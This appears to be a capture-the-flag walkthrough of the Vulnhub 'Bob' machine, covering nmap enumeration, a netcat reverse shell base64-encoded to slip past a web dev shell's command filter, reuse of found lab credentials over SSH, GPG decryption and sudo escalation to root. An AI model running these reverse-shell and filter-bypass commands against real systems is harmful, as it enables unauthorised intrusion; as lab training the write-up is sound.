Vulnhub: BOB 1.0.1 Walkthrough

Machine details

• Title: Bob
• Author: c0rruptedb1t
• Difficulty: Easy
• Flags: 2 (user and root)
• Techniques: Command injection, Enumeration, steganography, sudo
• Operating System: Linux

Recon and Enumeration

As always, let’s do a nmap scan to find ports and services running

IP=<MACHINE IP>
nmap -p- --min-rate 1000 -Pn $IP

Nmap reveals huge findings in this machine, http and ssh running on ports 80 and 25468, respectively. Additionally, the web port seems to have a robots.txt available, we will visit the website and check the robots file

The website seems to be some kind of University, and there is a message telling is under construction

Checking the source code at news it has a comment, probably base64 encoded

Decoding it, it’s a message from Bob

The contact page has some e-mails from the staff, we can use this if the login page works and we may need to use bruteforce.

However, in the login page it does not seem to be working

There is a comment in the source code, maybe we can find this web shell

The robots.txt has some incredibly potential files we can use it

The login.php does not exist, maybe they’ve deleted it or they are making one. The lat_memo.html has a message from Bob

Interesting, this is probably talking about the dev_shell.php file? Before we test it, let’s read passwords.html

It also has a comment in html but unfortunatelly doesn’t have a password. Maybe it’s saved in some home directory

Finally, let’s check the dev_shell.php

Using ‘id’ as the command we will receive this output

However , trying to list the files we will receive another message.

We can bypass this using a base64 encoded command, and then decode again to execute.

First, let’s setup a netcat listener in our machine

nc -lvnp 4444

In the dev shell we will use this payload

nc -nv YOUR IP HERE 4444

We will encode this using base 64, in my case it will become this

$ echo 'nc -nv 192.168.56.101 4444 -e /bin/bash' | base64

bmMgLW52IDE5Mi4xNjguNTYuMTAxIDQ0NDQgLWUgL2Jpbi9iYXNoCg==

Now we put this encoded command to the dev shell and decode it again, so it finally executes!

echo 'BASE64 ENCODED CODE' | base64 -d | sh

We will successfully receive the connection, we are in!

As they mentioned something about passwords being stored, my goal was to find one of them in the home directory

find /home -type f -readable 2>/dev/null

This file called theadminisdumb looks promising, let’s read it

Well, looks like someone is really mad. We got some credentials reading this. Reading the /etc/passwd file we can guess james is probably jc

elliot:theadminisdumb
jc:Qwerty

With these credentials we can log-in with some of these accounts, we will log-in with elliot

ssh elliot@192.168.56.129 -p 25468

Checking sudo -l for privileges we can execute two commands, the first one does not exists in the machine and the second is to start a ssh server, which is already running.

In the elliot’s account, every file we open we receive this message

Finding files in bob home directory, we will these interesting

If we execute notes.sh, there is a message

The first letter starts with uppercases, reading all of them it is a name:

HARPOCRATES

This is either a password, or just a coincidence. In the Documents file there is two files

The login.txt.gpg is probably a password, but if we take a look at if, it is encrypted. Let’s decrypt with gpg with the HARPOCRATES pass

gpg -d login.txt.gpg

We got the credentials of bob, let’s use bob’s account and hope there is privileges for him

Bob can execute ALL the commands, therefore we can use this to change user as root

sudo su

Finally, we can read the flag at / directory